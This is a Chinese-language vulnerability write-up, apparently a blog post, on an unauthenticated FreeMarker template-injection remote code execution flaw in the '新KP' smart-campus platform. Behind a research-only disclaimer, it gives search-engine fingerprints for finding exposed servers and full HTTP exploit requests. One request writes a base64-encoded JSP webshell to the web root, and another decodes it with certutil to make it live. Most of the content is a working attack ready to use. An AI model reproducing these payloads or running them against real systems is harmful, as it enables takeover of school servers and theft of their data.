新K普智慧校园系统-远程命令执行

声明:该网站大部分文章来自作者日常学习笔记,文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任.

新K普智慧校园系统-远程命令执行

0x01 风险等级

评定方式	等级
威胁等级	高危
影响面	广泛
攻击者价值	高
利用难度	低

0x02 漏洞详情

漏洞类型: 命令执行

实际影响: 命令执行,getshell,RCE

主要影响: 新KP智慧校园系统/service_transport/service.action接口处存在FreeMarker模板注入,攻击者可在未经身份认证的情况下,调用后台接口,构造恶意代码实现远程代码执行,最终可造成服务器失陷

0x03 影响版本

未可知

0x04 漏洞复现

F0FA:

F0FA:
icon_hash="-1278128358"title="掌上校园服务管理平台"

quake:
favicon: "48c514e7ab718c8e88e46f2ea866a72b"

payload1:

1	http://XXX/service_transport/service.action

显示数据为空说明存在漏洞

payload2:

马子部分需要base64编码

GET /service_transport/service.action HTTP/1.1
Host: XXX:XX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=7B6784D0499F20C2FC340073664F102E
Upgrade-Insecure-Requests: 1
Content-Length: 1250

{
        "command": "GetFZinfo", 
        "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c echo PCUhCmNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlciB7ClUoQ2xhc3NMb2FkZXIgYykgewpzdXBlcihjKTsKfQpwdWJsaWMgQ2xhc3MgZyhieXRlW10gYikgewpyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoYiwgMCwgYi5sZW5ndGgpOwp9Cn0KIApwdWJsaWMgYnl0ZVtdIGJhc2U2NERlY29kZShTdHJpbmcgc3RyKSB0aHJvd3MgRXhjZXB0aW9uIHsKICAgIHRyeSB7CiAgICAgICAgQ2xhc3MgY2xhenogPSBDbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5CQVNFNjREZWNvZGVyIik7CiAgICAgICAgcmV0dXJuIChieXRlW10pIGNsYXp6LmdldE1ldGhvZCgiZGVjb2RlQnVmZmVyIiwgU3RyaW5nLmNsYXNzKS5pbnZva2UoY2xhenoubmV3SW5zdGFuY2UoKSwgc3RyKTsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CiAgICAgICAgQ2xhc3MgY2xhenogPSBDbGFzcy5mb3JOYW1lKCJqYXZhLnV0aWwuQmFzZTY0Iik7CiAgICAgICAgT2JqZWN0IGRlY29kZXIgPSBjbGF6ei5nZXRNZXRob2QoImdldERlY29kZXIiKS5pbnZva2UobnVsbCk7CiAgICAgICAgcmV0dXJuIChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZSIsIFN0cmluZy5jbGFzcykuaW52b2tlKGRlY29kZXIsIHN0cik7CiAgICB9Cn0KIAolPgo8JQpTdHJpbmcgY2xzID0gcmVxdWVzdC5nZXRQYXJhbWV0ZXIoIjQzOTlIemwiKTsKaWYgKGNscyAhPSBudWxsKSB7Cm5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGJhc2U2NERlY29kZShjbHMpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7Cn0KJT4K >./webapps/ROOT/4399.txt\")}"
}

GET居然可以上传报错不用管

访问url 已上传

通过命令修改文件名称

payload3:

GET /service_transport/service.action HTTP/1.1
Host: XXX:XX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=7B6784D0499F20C2FC340073664F102E
Upgrade-Insecure-Requests: 1
Content-Length: 204

{
        "command": "GetFZinfo", 
        "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c certutil -decode ./webapps/ROOT/4399.txt ./webapps/ROOT/4399.jsp\")}"
}